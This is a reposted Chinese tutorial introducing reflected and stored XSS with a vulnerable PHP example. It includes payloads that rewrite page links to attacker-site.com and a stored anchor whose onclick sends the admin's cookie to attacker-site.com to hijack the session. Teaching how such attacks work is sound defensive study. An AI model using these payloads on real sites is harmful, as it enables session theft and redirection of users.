日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 >

xss攻击入门

發(fā)布時間:2024/1/17 60 豆豆
生活随笔 收集整理的這篇文章主要介紹了 xss攻击入门 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

xss表示Cross Site Scripting(跨站腳本攻擊),它與SQL注入攻擊類似,SQL注入攻擊中以SQL語句作為用戶輸入,從而達(dá)到查詢/修改/刪除數(shù)據(jù)的目的,而在xss攻擊中,通過插入惡意腳本,實現(xiàn)對用戶游覽器的控制。

xss攻擊可以分成兩種類型:

  • 非持久型攻擊
  • 持久型攻擊
  • 下面我們通過具體例子,了解兩種類型xss攻擊。

    ?

    1.非持久型xss攻擊

    顧名思義,非持久型xss攻擊是一次性的,僅對當(dāng)次的頁面訪問產(chǎn)生影響。非持久型xss攻擊要求用戶訪問一個被攻擊者篡改后的鏈接,用戶訪問該鏈接時,被植入的攻擊腳本被用戶游覽器執(zhí)行,從而達(dá)到攻擊目的。

    假設(shè)有以下index.php頁面:

    <?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>"; ?>

    該頁面顯示兩行信息:

    • 從URI獲取 'name' 參數(shù),并在頁面顯示
    • 顯示跳轉(zhuǎn)到一條URL的鏈接

    這時,當(dāng)攻擊者給出以下URL鏈接:

    index.php?name=guest<script>alert('attacked')</script>

    當(dāng)用戶點擊該鏈接時,將產(chǎn)生以下html代碼,帶'attacked'的告警提示框彈出:

    Welcome guest <script>alert('attacked')</script> <br> <a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>

    ?

    除了插入alert代碼,攻擊者還可以通過以下URL實現(xiàn)修改鏈接的目的:

    index.php?name=
    <script>
    window.onload = function() {
    var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
    </script>

    當(dāng)用戶點擊以上攻擊者提供的URL時,index.php頁面被植入腳本,頁面源碼如下:

    Welcome <script> window.onload = function() { var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";} </script> <br> <a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>

    用戶再點擊 "Click to Download" 時,將跳轉(zhuǎn)至攻擊者提供的鏈接。

    ?

    對于用于攻擊的URL,攻擊者一般不會直接使用以上可讀形式,而是將其轉(zhuǎn)換成ASCII碼,以下URL同樣用于實現(xiàn)鏈接地址變更:

    index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

    ?

    2.持久型xss攻擊

    持久型xss攻擊會把攻擊者的數(shù)據(jù)存儲在服務(wù)器端,攻擊行為將伴隨著攻擊數(shù)據(jù)一直存在。下面來看一個利用持久型xss攻擊獲取session id的實例。

    ?

    session背景知識

    我們知道HTTP是一個無狀態(tài)維持的協(xié)議,所有請求/應(yīng)答都是獨立的,其間不保存狀態(tài)信息。但有些場景下我們需要維護(hù)狀態(tài)信息,例如用戶登錄完web應(yīng)用后,再一定時間內(nèi),用戶再進(jìn)行登錄,應(yīng)不需要再輸入用戶名/密碼進(jìn)行鑒權(quán)。

    這時我們用cookie和session解決狀態(tài)維護(hù)問題,當(dāng)用戶首次登入時,服務(wù)器為該用戶創(chuàng)建一個 session ID,同時向游覽器傳送一個 cookie,cookie保存會話連接中用到的數(shù)據(jù),session ID作為會話標(biāo)識,游覽器后續(xù)的請求均基于該session ID。

    ?

    攻擊者可以提供一個攻擊鏈接,當(dāng)用戶點擊該鏈接時,向攻擊者自己的服務(wù)器發(fā)送一條保存有用戶session ID的信息,這樣就可以竊取到用戶的session ID,得到用戶的執(zhí)行權(quán)限。

    ?

    現(xiàn)有以下login.php,其根據(jù) user_name 在數(shù)據(jù)中查找相應(yīng)的 pass_word,然后將用戶提供的 password 與查數(shù)據(jù)庫所得的 pass_word 進(jìn)行比較,如果驗證成功則創(chuàng)建對應(yīng)于 user_name 的 session。

    View Code

    ?

    另有以下home.php,其根據(jù)登入的用戶是 admin 還是其他用戶,顯示不同內(nèi)容,對于admin,其列出所有用戶,對于其他用戶,提供包含輸入框的form,可在數(shù)據(jù)庫中插入新的用戶名信息。

    View Code

    ?

    注意以上場景中,對 admin 和其他用戶進(jìn)行了不同的權(quán)限設(shè)置,admin可以看到所有用戶列表,下面我們來看如何獲取 admin 的session ID,從而使得其他用戶也能獲得 admin 的權(quán)限。

    ?

    首先,攻擊者以一個普通用戶登錄進(jìn)來,然后在輸入框中提交以下數(shù)據(jù):

    <a href=# οnclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">bangerlee</a>

    ?

    攻擊者提交了條帶<a>標(biāo)簽的數(shù)據(jù),該條數(shù)據(jù)將保存在數(shù)據(jù)庫中,而當(dāng) admin 用戶登入時,包含 "bangerlee" 的用戶列表將顯示,如果 admin 用戶點擊 "bangerlee" 時,在 "attacker-site.com" 所在的服務(wù)器上,攻擊者就可以竊取到 admin 的session-id:

    xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

    有了該session-id,攻擊者在會話有效期內(nèi)即可獲得 admin 用戶的權(quán)限,并且由于攻擊數(shù)據(jù)已添加入數(shù)據(jù)庫,只要攻擊數(shù)據(jù)未被刪除,那么攻擊還有可能生效,是持久性的。

    ?

    當(dāng)然,不是只有持久型xss攻擊才能竊取session ID、用戶的cookie信息,用非持久型xss也可以,只要引導(dǎo)用戶點擊某鏈接,將 document.cookie 信息傳到指定服務(wù)器即可,以上僅作為說明持久型xss攻擊的舉例。

    轉(zhuǎn)載于:https://www.cnblogs.com/liliuguang/p/7737178.html

    總結(jié)

    以上是生活随笔為你收集整理的xss攻击入门的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。